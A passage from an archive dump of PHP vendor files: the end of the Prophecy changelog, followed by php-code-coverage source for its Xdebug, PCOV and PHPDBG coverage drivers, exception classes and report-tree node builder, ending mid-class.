(thanks @dantleech) 1.3.1 / 2014-11-17 ================== * Fix the edge case when failed predictions weren't recorded for `getCheckedPredictions()` 1.3.0 / 2014-11-14 ================== * Add a way to get checked predictions with `MethodProphecy::getCheckedPredictions()` * Fix HHVM compatibility * Remove dead code (thanks @stof) * Add support for DirectoryIterators (thanks @shanethehat) 1.2.0 / 2014-07-18 ================== * Added support for doubling magic methods documented in the class phpdoc (thanks @armetiz) * Fixed a segfault appearing in some cases (thanks @dmoreaulf) * Fixed the doubling of methods with typehints on non-existent classes (thanks @gquemener) * Added support for internal classes using keywords as method names (thanks @milan) * Added IdenticalValueToken and Argument::is (thanks @florianv) * Removed the usage of scalar typehints in HHVM as HHVM 3 does not support them anymore in PHP code (thanks @whatthejeff) 1.1.2 / 2014-01-24 ================== * Spy automatically promotes spied method call to an expected one 1.1.1 / 2014-01-15 ================== * Added support for HHVM 1.1.0 / 2014-01-01 ================== * Changed the generated class names to use a static counter instead of a random number * Added a clss patch for ReflectionClass::newInstance to make its argument optional consistently (thanks @docteurklein) * Fixed mirroring of classes with typehints on non-existent classes (thanks @docteurklein) * Fixed the support of array callables in CallbackPromise and CallbackPrediction (thanks @ciaranmcnulty) * Added support for properties in ObjectStateToken (thanks @adrienbrault) * Added support for mocking classes with a final constructor (thanks @ciaranmcnulty) * Added ArrayEveryEntryToken and Argument::withEveryEntry() (thanks @adrienbrault) * Added an exception when trying to prophesize on a final method instead of ignoring silently (thanks @docteurklein) * Added StringContainToken and Argument::containingString() (thanks @peterjmit) * Added ``shouldNotHaveBeenCalled`` on the MethodProphecy (thanks @ciaranmcnulty) * Fixed the comparison of objects in ExactValuetoken (thanks @sstok) * Deprecated ``shouldNotBeenCalled`` in favor of ``shouldNotHaveBeenCalled`` 1.0.4 / 2013-08-10 ================== * Better randomness for generated class names (thanks @sstok) * Add support for interfaces into TypeToken and Argument::type() (thanks @sstok) * Add support for old-style (method name === class name) constructors (thanks @l310 for report) 1.0.3 / 2013-07-04 ================== * Support callable typehints (thanks @stof) * Do not attempt to autoload arrays when generating code (thanks @MarcoDeBortoli) * New ArrayEntryToken (thanks @kagux) 1.0.2 / 2013-05-19 ================== * Logical `AND` token added (thanks @kagux) * Logical `NOT` token added (thanks @kagux) * Add support for setting custom constructor arguments * Properly stringify hashes * Record calls that throw exceptions * Migrate spec suite to PhpSpec 2.0 1.0.1 / 2013-04-30 ================== * Fix broken UnexpectedCallException message * Trim AggregateException message 1.0.0 / 2013-04-29 ================== * Improve exception messages 1.0.0-BETA2 / 2013-04-03 ======================== * Add more debug information to CallTimes and Call prediction exception messages * Fix MethodNotFoundException wrong namespace (thanks @gunnarlium) * Fix some typos in the exception messages (thanks @pborreli) 1.0.0-BETA1 / 2013-03-25 ======================== * Initial release res/readability/vendor/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php000064400000006705147577714370023347 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use const XDEBUG_CC_BRANCH_CHECK; use const XDEBUG_CC_DEAD_CODE; use const XDEBUG_CC_UNUSED; use const XDEBUG_FILTER_CODE_COVERAGE; use const XDEBUG_PATH_INCLUDE; use const XDEBUG_PATH_WHITELIST; use function defined; use function extension_loaded; use function ini_get; use function phpversion; use function sprintf; use function version_compare; use function xdebug_get_code_coverage; use function xdebug_set_filter; use function xdebug_start_code_coverage; use function xdebug_stop_code_coverage; use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\RawCodeCoverageData; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Xdebug2Driver extends Driver { /** * @var bool */ private $pathCoverageIsMixedCoverage; /** * @throws WrongXdebugVersionException * @throws Xdebug2NotEnabledException * @throws XdebugNotAvailableException */ public function __construct(Filter $filter) { if (!extension_loaded('xdebug')) { throw new XdebugNotAvailableException; } if (version_compare(phpversion('xdebug'), '3', '>=')) { throw new WrongXdebugVersionException( sprintf( 'This driver requires Xdebug 2 but version %s is loaded', phpversion('xdebug') ) ); } if (!ini_get('xdebug.coverage_enable')) { throw new Xdebug2NotEnabledException; } if (!$filter->isEmpty()) { if (defined('XDEBUG_PATH_WHITELIST')) { $listType = XDEBUG_PATH_WHITELIST; } else { $listType = XDEBUG_PATH_INCLUDE; } xdebug_set_filter( XDEBUG_FILTER_CODE_COVERAGE, $listType, $filter->files() ); } $this->pathCoverageIsMixedCoverage = version_compare(phpversion('xdebug'), '2.9.6', '<'); } public function canCollectBranchAndPathCoverage(): bool { return true; } public function canDetectDeadCode(): bool { return true; } public function start(): void { $flags = XDEBUG_CC_UNUSED; if ($this->detectsDeadCode() || $this->collectsBranchAndPathCoverage()) { $flags |= XDEBUG_CC_DEAD_CODE; } if ($this->collectsBranchAndPathCoverage()) { $flags |= XDEBUG_CC_BRANCH_CHECK; } xdebug_start_code_coverage($flags); } public function stop(): RawCodeCoverageData { $data = xdebug_get_code_coverage(); xdebug_stop_code_coverage(); if ($this->collectsBranchAndPathCoverage()) { if ($this->pathCoverageIsMixedCoverage) { return RawCodeCoverageData::fromXdebugWithMixedCoverage($data); } return RawCodeCoverageData::fromXdebugWithPathCoverage($data); } return RawCodeCoverageData::fromXdebugWithoutPathCoverage($data); } public function nameAndVersion(): string { return 'Xdebug ' . phpversion('xdebug'); } } res/readability/vendor/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php000064400000005151147577714370023245 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use const PHP_SAPI; use const PHP_VERSION; use function array_diff; use function array_keys; use function array_merge; use function get_included_files; use function phpdbg_end_oplog; use function phpdbg_get_executable; use function phpdbg_start_oplog; use SebastianBergmann\CodeCoverage\RawCodeCoverageData; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class PhpdbgDriver extends Driver { /** * @throws PhpdbgNotAvailableException */ public function __construct() { if (PHP_SAPI !== 'phpdbg') { throw new PhpdbgNotAvailableException; } } public function start(): void { phpdbg_start_oplog(); } public function stop(): RawCodeCoverageData { static $fetchedLines = []; $dbgData = phpdbg_end_oplog(); if ($fetchedLines === []) { $sourceLines = phpdbg_get_executable(); } else { $newFiles = array_diff(get_included_files(), array_keys($fetchedLines)); $sourceLines = []; if ($newFiles) { $sourceLines = phpdbg_get_executable(['files' => $newFiles]); } } foreach ($sourceLines as $file => $lines) { foreach ($lines as $lineNo => $numExecuted) { $sourceLines[$file][$lineNo] = self::LINE_NOT_EXECUTED; } } $fetchedLines = array_merge($fetchedLines, $sourceLines); return RawCodeCoverageData::fromXdebugWithoutPathCoverage( $this->detectExecutedLines($fetchedLines, $dbgData) ); } public function nameAndVersion(): string { return 'PHPDBG ' . PHP_VERSION; } private function detectExecutedLines(array $sourceLines, array $dbgData): array { foreach ($dbgData as $file => $coveredLines) { foreach ($coveredLines as $lineNo => $numExecuted) { // phpdbg also reports $lineNo=0 when e.g. exceptions get thrown. // make sure we only mark lines executed which are actually executable. if (isset($sourceLines[$file][$lineNo])) { $sourceLines[$file][$lineNo] = self::LINE_EXECUTED; } } } return $sourceLines; } } res/readability/vendor/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php000064400000006224147577714370023344 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use const XDEBUG_CC_BRANCH_CHECK; use const XDEBUG_CC_DEAD_CODE; use const XDEBUG_CC_UNUSED; use const XDEBUG_FILTER_CODE_COVERAGE; use const XDEBUG_PATH_INCLUDE; use function explode; use function extension_loaded; use function getenv; use function in_array; use function ini_get; use function phpversion; use function sprintf; use function version_compare; use function xdebug_get_code_coverage; use function xdebug_set_filter; use function xdebug_start_code_coverage; use function xdebug_stop_code_coverage; use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\RawCodeCoverageData; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Xdebug3Driver extends Driver { /** * @throws WrongXdebugVersionException * @throws Xdebug3NotEnabledException * @throws XdebugNotAvailableException */ public function __construct(Filter $filter) { if (!extension_loaded('xdebug')) { throw new XdebugNotAvailableException; } if (version_compare(phpversion('xdebug'), '3', '<')) { throw new WrongXdebugVersionException( sprintf( 'This driver requires Xdebug 3 but version %s is loaded', phpversion('xdebug') ) ); } $mode = getenv('XDEBUG_MODE'); if ($mode === false || $mode === '') { $mode = ini_get('xdebug.mode'); } if ($mode === false || !in_array('coverage', explode(',', $mode), true)) { throw new Xdebug3NotEnabledException; } if (!$filter->isEmpty()) { xdebug_set_filter( XDEBUG_FILTER_CODE_COVERAGE, XDEBUG_PATH_INCLUDE, $filter->files() ); } } public function canCollectBranchAndPathCoverage(): bool { return true; } public function canDetectDeadCode(): bool { return true; } public function start(): void { $flags = XDEBUG_CC_UNUSED; if ($this->detectsDeadCode() || $this->collectsBranchAndPathCoverage()) { $flags |= XDEBUG_CC_DEAD_CODE; } if ($this->collectsBranchAndPathCoverage()) { $flags |= XDEBUG_CC_BRANCH_CHECK; } xdebug_start_code_coverage($flags); } public function stop(): RawCodeCoverageData { $data = xdebug_get_code_coverage(); xdebug_stop_code_coverage(); if ($this->collectsBranchAndPathCoverage()) { return RawCodeCoverageData::fromXdebugWithPathCoverage($data); } return RawCodeCoverageData::fromXdebugWithoutPathCoverage($data); } public function nameAndVersion(): string { return 'Xdebug ' . phpversion('xdebug'); } } res/readability/vendor/phpunit/php-code-coverage/src/Driver/Selector.php000064400000004544147577714370022452 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use function phpversion; use function version_compare; use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\NoCodeCoverageDriverAvailableException; use SebastianBergmann\CodeCoverage\NoCodeCoverageDriverWithPathCoverageSupportAvailableException; use SebastianBergmann\Environment\Runtime; final class Selector { /** * @throws NoCodeCoverageDriverAvailableException * @throws PcovNotAvailableException * @throws PhpdbgNotAvailableException * @throws Xdebug2NotEnabledException * @throws Xdebug3NotEnabledException * @throws XdebugNotAvailableException */ public function forLineCoverage(Filter $filter): Driver { $runtime = new Runtime; if ($runtime->hasPHPDBGCodeCoverage()) { return new PhpdbgDriver; } if ($runtime->hasPCOV()) { return new PcovDriver($filter); } if ($runtime->hasXdebug()) { if (version_compare(phpversion('xdebug'), '3', '>=')) { $driver = new Xdebug3Driver($filter); } else { $driver = new Xdebug2Driver($filter); } $driver->enableDeadCodeDetection(); return $driver; } throw new NoCodeCoverageDriverAvailableException; } /** * @throws NoCodeCoverageDriverWithPathCoverageSupportAvailableException * @throws Xdebug2NotEnabledException * @throws Xdebug3NotEnabledException * @throws XdebugNotAvailableException */ public function forLineAndPathCoverage(Filter $filter): Driver { if ((new Runtime)->hasXdebug()) { if (version_compare(phpversion('xdebug'), '3', '>=')) { $driver = new Xdebug3Driver($filter); } else { $driver = new Xdebug2Driver($filter); } $driver->enableDeadCodeDetection(); $driver->enableBranchAndPathCoverage(); return $driver; } throw new NoCodeCoverageDriverWithPathCoverageSupportAvailableException; } } res/readability/vendor/phpunit/php-code-coverage/src/Driver/PcovDriver.php000064400000003506147577714370022752 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use const pcov\inclusive; use function array_intersect; use function extension_loaded; use function pcov\clear; use function pcov\collect; use function pcov\start; use function pcov\stop; use function pcov\waiting; use function phpversion; use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\RawCodeCoverageData; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class PcovDriver extends Driver { /** * @var Filter */ private $filter; /** * @throws PcovNotAvailableException */ public function __construct(Filter $filter) { if (!extension_loaded('pcov')) { throw new PcovNotAvailableException; } $this->filter = $filter; } public function start(): void { start(); } public function stop(): RawCodeCoverageData { stop(); $filesToCollectCoverageFor = waiting(); $collected = []; if ($filesToCollectCoverageFor) { if (!$this->filter->isEmpty()) { $filesToCollectCoverageFor = array_intersect($filesToCollectCoverageFor, $this->filter->files()); } $collected = collect(inclusive, $filesToCollectCoverageFor); clear(); } return RawCodeCoverageData::fromXdebugWithoutPathCoverage($collected); } public function nameAndVersion(): string { return 'PCOV ' . phpversion('pcov'); } } res/readability/vendor/phpunit/php-code-coverage/src/Driver/Driver.php000064400000010424147577714370022117 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use function sprintf; use SebastianBergmann\CodeCoverage\BranchAndPathCoverageNotSupportedException; use SebastianBergmann\CodeCoverage\DeadCodeDetectionNotSupportedException; use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\NoCodeCoverageDriverAvailableException; use SebastianBergmann\CodeCoverage\NoCodeCoverageDriverWithPathCoverageSupportAvailableException; use SebastianBergmann\CodeCoverage\RawCodeCoverageData; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ abstract class Driver { /** * @var int * * @see http://xdebug.org/docs/code_coverage */ public const LINE_NOT_EXECUTABLE = -2; /** * @var int * * @see http://xdebug.org/docs/code_coverage */ public const LINE_NOT_EXECUTED = -1; /** * @var int * * @see http://xdebug.org/docs/code_coverage */ public const LINE_EXECUTED = 1; /** * @var int * * @see http://xdebug.org/docs/code_coverage */ public const BRANCH_NOT_HIT = 0; /** * @var int * * @see http://xdebug.org/docs/code_coverage */ public const BRANCH_HIT = 1; /** * @var bool */ private $collectBranchAndPathCoverage = false; /** * @var bool */ private $detectDeadCode = false; /** * @throws NoCodeCoverageDriverAvailableException * @throws PcovNotAvailableException * @throws PhpdbgNotAvailableException * @throws Xdebug2NotEnabledException * @throws Xdebug3NotEnabledException * @throws XdebugNotAvailableException * * @deprecated Use DriverSelector::forLineCoverage() instead */ public static function forLineCoverage(Filter $filter): self { return (new Selector)->forLineCoverage($filter); } /** * @throws NoCodeCoverageDriverWithPathCoverageSupportAvailableException * @throws Xdebug2NotEnabledException * @throws Xdebug3NotEnabledException * @throws XdebugNotAvailableException * * @deprecated Use DriverSelector::forLineAndPathCoverage() instead */ public static function forLineAndPathCoverage(Filter $filter): self { return (new Selector)->forLineAndPathCoverage($filter); } public function canCollectBranchAndPathCoverage(): bool { return false; } public function collectsBranchAndPathCoverage(): bool { return $this->collectBranchAndPathCoverage; } /** * @throws BranchAndPathCoverageNotSupportedException */ public function enableBranchAndPathCoverage(): void { if (!$this->canCollectBranchAndPathCoverage()) { throw new BranchAndPathCoverageNotSupportedException( sprintf( '%s does not support branch and path coverage', $this->nameAndVersion() ) ); } $this->collectBranchAndPathCoverage = true; } public function disableBranchAndPathCoverage(): void { $this->collectBranchAndPathCoverage = false; } public function canDetectDeadCode(): bool { return false; } public function detectsDeadCode(): bool { return $this->detectDeadCode; } /** * @throws DeadCodeDetectionNotSupportedException */ public function enableDeadCodeDetection(): void { if (!$this->canDetectDeadCode()) { throw new DeadCodeDetectionNotSupportedException( sprintf( '%s does not support dead code detection', $this->nameAndVersion() ) ); } $this->detectDeadCode = true; } public function disableDeadCodeDetection(): void { $this->detectDeadCode = false; } abstract public function nameAndVersion(): string; abstract public function start(): void; abstract public function stop(): RawCodeCoverageData; } res/readability/vendor/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php000064400000001117147577714370026733 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class PhpdbgNotAvailableException extends RuntimeException implements Exception { public function __construct() { parent::__construct('The PHPDBG SAPI is not available'); } } res/readability/vendor/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php000064400000001120147577714370026430 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class PcovNotAvailableException extends RuntimeException implements Exception { public function __construct() { parent::__construct('The PCOV extension is not available'); } } res/readability/vendor/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php000064400000001150147577714370026477 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class Xdebug3NotEnabledException extends RuntimeException implements Exception { public function __construct() { parent::__construct('XDEBUG_MODE=coverage or xdebug.mode=coverage has to be set'); } } res/readability/vendor/phpunit/php-code-coverage/src/Exception/ParserException.php000064400000000637147577714370024507 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class ParserException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php000064400000001125147577714370026500 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class Xdebug2NotEnabledException extends RuntimeException implements Exception { public function __construct() { parent::__construct('xdebug.coverage_enable=On has to be set'); } } php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php000064400000001130147577714370035503 0ustar00res/readability/vendor/phpunit * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class NoCodeCoverageDriverWithPathCoverageSupportAvailableException extends RuntimeException implements Exception { public function __construct() { parent::__construct('No code coverage driver with path coverage support available'); } } res/readability/vendor/phpunit/php-code-coverage/src/Exception/ReflectionException.php000064400000000643147577714370025342 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class ReflectionException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php000064400000001007147577714370025771 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class TestIdMissingException extends RuntimeException implements Exception { public function __construct() { parent::__construct('Test ID is missing'); } } vendor/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php000064400000000671147577714370031540 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class StaticAnalysisCacheNotConfiguredException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php000064400000001061147577714370027646 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class ReportAlreadyFinalizedException extends RuntimeException implements Exception { public function __construct() { parent::__construct('The code coverage report has already been finalized'); } } vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php000064400000001046147577714370030767 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class NoCodeCoverageDriverAvailableException extends RuntimeException implements Exception { public function __construct() { parent::__construct('No code coverage driver available'); } } vendor/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php000064400000000672147577714370031673 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class BranchAndPathCoverageNotSupportedException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php000064400000000632147577714370026337 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; final class InvalidArgumentException extends \InvalidArgumentException implements Exception { } res/readability/vendor/phpunit/php-code-coverage/src/Exception/Exception.php000064400000000564147577714370023331 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use Throwable; interface Exception extends Throwable { } res/readability/vendor/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php000064400000001124147577714370026743 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class XdebugNotAvailableException extends RuntimeException implements Exception { public function __construct() { parent::__construct('The Xdebug extension is not available'); } } res/readability/vendor/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php000064400000001167147577714370027332 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use function sprintf; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class WriteOperationFailedException extends RuntimeException implements Exception { public function __construct(string $path) { parent::__construct(sprintf('Cannot write to "%s"', $path)); } } readability/vendor/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php000064400000000746147577714370030350 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Util; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class DirectoryCouldNotBeCreatedException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-code-coverage/src/Exception/XmlException.php000064400000000634147577714370024010 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class XmlException extends RuntimeException implements Exception { } vendor/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php000064400000000666147577714370031054 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class DeadCodeDetectionNotSupportedException extends RuntimeException implements Exception { } readability/vendor/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php000064400000001214147577714370030575 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use function sprintf; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class PathExistsButIsNotDirectoryException extends RuntimeException implements Exception { public function __construct(string $path) { parent::__construct(sprintf('"%s" exists but is not a directory', $path)); } } readability/vendor/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php000064400000002046147577714370030467 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use RuntimeException; final class UnintentionallyCoveredCodeException extends RuntimeException implements Exception { /** * @var array */ private $unintentionallyCoveredUnits; public function __construct(array $unintentionallyCoveredUnits) { $this->unintentionallyCoveredUnits = $unintentionallyCoveredUnits; parent::__construct($this->toString()); } public function getUnintentionallyCoveredUnits(): array { return $this->unintentionallyCoveredUnits; } private function toString(): string { $message = ''; foreach ($this->unintentionallyCoveredUnits as $unit) { $message .= '- ' . $unit . "\n"; } return $message; } } res/readability/vendor/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php000064400000000740147577714370027047 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use RuntimeException; use SebastianBergmann\CodeCoverage\Exception; final class WrongXdebugVersionException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-code-coverage/src/Node/Builder.php000064400000015421147577714370021706 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Node; use const DIRECTORY_SEPARATOR; use function array_shift; use function basename; use function count; use function dirname; use function explode; use function implode; use function is_file; use function str_replace; use function strpos; use function substr; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\ProcessedCodeCoverageData; use SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Builder { /** * @var FileAnalyser */ private $analyser; public function __construct(FileAnalyser $analyser) { $this->analyser = $analyser; } public function build(CodeCoverage $coverage): Directory { $data = clone $coverage->getData(); // clone because path munging is destructive to the original data $commonPath = $this->reducePaths($data); $root = new Directory( $commonPath, null ); $this->addItems( $root, $this->buildDirectoryStructure($data), $coverage->getTests() ); return $root; } private function addItems(Directory $root, array $items, array $tests): void { foreach ($items as $key => $value) { $key = (string) $key; if (substr($key, -2) === '/f') { $key = substr($key, 0, -2); $filename = $root->pathAsString() . DIRECTORY_SEPARATOR . $key; if (is_file($filename)) { $root->addFile( new File( $key, $root, $value['lineCoverage'], $value['functionCoverage'], $tests, $this->analyser->classesIn($filename), $this->analyser->traitsIn($filename), $this->analyser->functionsIn($filename), $this->analyser->linesOfCodeFor($filename) ) ); } } else { $child = $root->addDirectory($key); $this->addItems($child, $value, $tests); } } } /** * Builds an array representation of the directory structure. * * For instance, * * * Array * ( * [Money.php] => Array * ( * ... * ) * * [MoneyBag.php] => Array * ( * ... * ) * ) * * * is transformed into * * * Array * ( * [.] => Array * ( * [Money.php] => Array * ( * ... * ) * * [MoneyBag.php] => Array * ( * ... * ) * ) * ) * */ private function buildDirectoryStructure(ProcessedCodeCoverageData $data): array { $result = []; foreach ($data->coveredFiles() as $originalPath) { $path = explode(DIRECTORY_SEPARATOR, $originalPath); $pointer = &$result; $max = count($path); for ($i = 0; $i < $max; $i++) { $type = ''; if ($i === ($max - 1)) { $type = '/f'; } $pointer = &$pointer[$path[$i] . $type]; } $pointer = [ 'lineCoverage' => $data->lineCoverage()[$originalPath] ?? [], 'functionCoverage' => $data->functionCoverage()[$originalPath] ?? [], ]; } return $result; } /** * Reduces the paths by cutting the longest common start path. * * For instance, * * * Array * ( * [/home/sb/Money/Money.php] => Array * ( * ... * ) * * [/home/sb/Money/MoneyBag.php] => Array * ( * ... * ) * ) * * * is reduced to * * * Array * ( * [Money.php] => Array * ( * ... * ) * * [MoneyBag.php] => Array * ( * ... * ) * ) * */ private function reducePaths(ProcessedCodeCoverageData $coverage): string { if (empty($coverage->coveredFiles())) { return '.'; } $commonPath = ''; $paths = $coverage->coveredFiles(); if (count($paths) === 1) { $commonPath = dirname($paths[0]) . DIRECTORY_SEPARATOR; $coverage->renameFile($paths[0], basename($paths[0])); return $commonPath; } $max = count($paths); for ($i = 0; $i < $max; $i++) { // strip phar:// prefixes if (strpos($paths[$i], 'phar://') === 0) { $paths[$i] = substr($paths[$i], 7); $paths[$i] = str_replace('/', DIRECTORY_SEPARATOR, $paths[$i]); } $paths[$i] = explode(DIRECTORY_SEPARATOR, $paths[$i]); if (empty($paths[$i][0])) { $paths[$i][0] = DIRECTORY_SEPARATOR; } } $done = false; $max = count($paths); while (!$done) { for ($i = 0; $i < $max - 1; $i++) { if (!isset($paths[$i][0]) || !isset($paths[$i + 1][0]) || $paths[$i][0] !== $paths[$i + 1][0]) { $done = true; break; } } if (!$done) { $commonPath .= $paths[0][0]; if ($paths[0][0] !== DIRECTORY_SEPARATOR) { $commonPath .= DIRECTORY_SEPARATOR; } for ($i = 0; $i < $max; $i++) { array_shift($paths[$i]); } } } $original = $coverage->coveredFiles(); $max = count($original); for ($i = 0; $i < $max; $i++) { $coverage->renameFile($original[$i], implode(DIRECTORY_SEPARATOR, $paths[$i])); } return substr($commonPath, 0, -1); } } res/readability/vendor/phpunit/php-code-coverage/src/Node/AbstractNode.php000064400000014560147577714370022674 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Node; use const DIRECTORY_SEPARATOR; use function array_merge; use function str_replace; use function substr; use Countable; use SebastianBergmann\CodeCoverage\Util\Percentage; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ abstract class AbstractNode implements Countable { /** * @var string */ private $name; /** * @var string */ private $pathAsString; /** * @var array */ private $pathAsArray; /** * @var AbstractNode */ private $parent; /** * @var string */ private $id; public function __construct(string $name, self $parent = null) { if (substr($name, -1) === DIRECTORY_SEPARATOR) { $name = substr($name, 0, -1); } $this->name = $name; $this->parent = $parent; } public function name(): string { return $this->name; } public function id(): string { if ($this->id === null) { $parent = $this->parent(); if ($parent === null) { $this->id = 'index'; } else { $parentId = $parent->id(); if ($parentId === 'index') { $this->id = str_replace(':', '_', $this->name); } else { $this->id = $parentId . '/' . $this->name; } } } return $this->id; } public function pathAsString(): string { if ($this->pathAsString === null) { if ($this->parent === null) { $this->pathAsString = $this->name; } else { $this->pathAsString = $this->parent->pathAsString() . DIRECTORY_SEPARATOR . $this->name; } } return $this->pathAsString; } public function pathAsArray(): array { if ($this->pathAsArray === null) { if ($this->parent === null) { $this->pathAsArray = []; } else { $this->pathAsArray = $this->parent->pathAsArray(); } $this->pathAsArray[] = $this; } return $this->pathAsArray; } public function parent(): ?self { return $this->parent; } public function percentageOfTestedClasses(): Percentage { return Percentage::fromFractionAndTotal( $this->numberOfTestedClasses(), $this->numberOfClasses(), ); } public function percentageOfTestedTraits(): Percentage { return Percentage::fromFractionAndTotal( $this->numberOfTestedTraits(), $this->numberOfTraits(), ); } public function percentageOfTestedClassesAndTraits(): Percentage { return Percentage::fromFractionAndTotal( $this->numberOfTestedClassesAndTraits(), $this->numberOfClassesAndTraits(), ); } public function percentageOfTestedFunctions(): Percentage { return Percentage::fromFractionAndTotal( $this->numberOfTestedFunctions(), $this->numberOfFunctions(), ); } public function percentageOfTestedMethods(): Percentage { return Percentage::fromFractionAndTotal( 